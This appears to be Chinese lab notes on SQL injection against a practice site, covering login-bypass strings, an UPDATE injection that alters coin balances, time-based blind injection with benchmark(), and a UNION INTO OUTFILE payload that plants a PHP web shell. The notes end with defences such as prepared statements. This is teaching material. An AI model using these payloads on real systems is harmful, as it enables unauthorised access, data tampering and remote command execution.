码迷,mamicode.com
首页 > 数据库 > 详细

Web信息安全实践_6 SQL注入

时间:2020-01-27 15:31:19      阅读:168      评论:0      收藏:0      [点我收藏+]

标签:根目录   src   chm   middle   order   val   示例   ack   osi   

www.myzoo.com 输入示例

Login

a‘# 用户a登录
a‘ or 1#
a‘ or 1=1#
a‘ and 1;#
d‘ or 1#
a‘ or ‘1 
思考:为什么无密码可以登录?为什么最终登录的都是a?
b‘ or 0;#  用户b登录
 
技术图片 技术图片
 
技术图片 技术图片
 

profile 

a‘, Coins=100 where Username=‘a‘ ;#

 

 

技术图片 技术图片
 
 

User

c‘ union select 1,1,1,1,1,1,if(substring(database(),1,1)=char(119),benchmark(5000000,encode(‘aaa‘,‘bbbb‘),NULL);#
技术图片
技术图片

SQL 注入原理

注入攻击

(1)XSS
  • 用户提交数据,实际上提交的是攻击代码
  • 代码混合在数据中,使得恶意代码获得执行。
 (2)SQL 注入
  • 执行攻击者所构造的 SQL 代码
  • 应用接收用户输入,该输入被构造成 SQL 语句并获得执行
a)利用 select
$sql = "select * from Person where Username = ‘$username‘ and Password = ‘$password‘";
$sql = “ select * from Person where Username = a or 1#  and Password = $password";
b)利用 update
$sql = "UPDATE Person SET Profile= ‘$profile‘" "WHERE PersonID = ‘$personID‘";
$sql = "UPDATE Person SET Profile= ‘b‘,zoobars=100 where Username=‘b‘;# "WHERE PersonID = $personID‘";
3)利用 select 和 benchmark 语句
$sql = "select * from Person where Username = ‘$username‘
// union:两条select都执行;要求前后select列数相等
$sql = "select * from Person where Username = ‘c‘ union select 1,1,1,1,1,1, if(substring(database(),1,1)=char(119), benchmark(5000000, encode(‘aaa‘,‘bbbb‘)), NULL);#
// 把union查询结果写到文件中
$sql = "select * from Person where Username = ‘d‘ union select 1,1,1,1,1,1,‘<?php system($_GET[cmd]);?>‘ into outfile "/home/web/WebSec/1.php";#
// 写成功条件:知道当前网站根目录;mysql要拥有写权限;网站根目录要允许被其他进程写

SQL注入防御

  • SQL 注入的本质是利用数据注入代码
  • 区分数据和代码
    • 输入过滤和输出转义

过滤特殊符号 (‘ # -- 等

缺点:可能原本就需要输入带有特殊符号的数据。

开启 magic_quote_gpc转义特殊符号,把特殊符号当做普通字符

缺点:仍有可能实现SQL注入。

显式区分数据和命令

$stmt = $db->prepare("SELECT * FROM users WHERE name=? AND age=?");
$stmt->bind_param("si", $user, $age);

Web信息安全实践_6 SQL注入

标签:根目录   src   chm   middle   order   val   示例   ack   osi   

原文地址:https://www.cnblogs.com/tianjiazhen/p/12235930.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!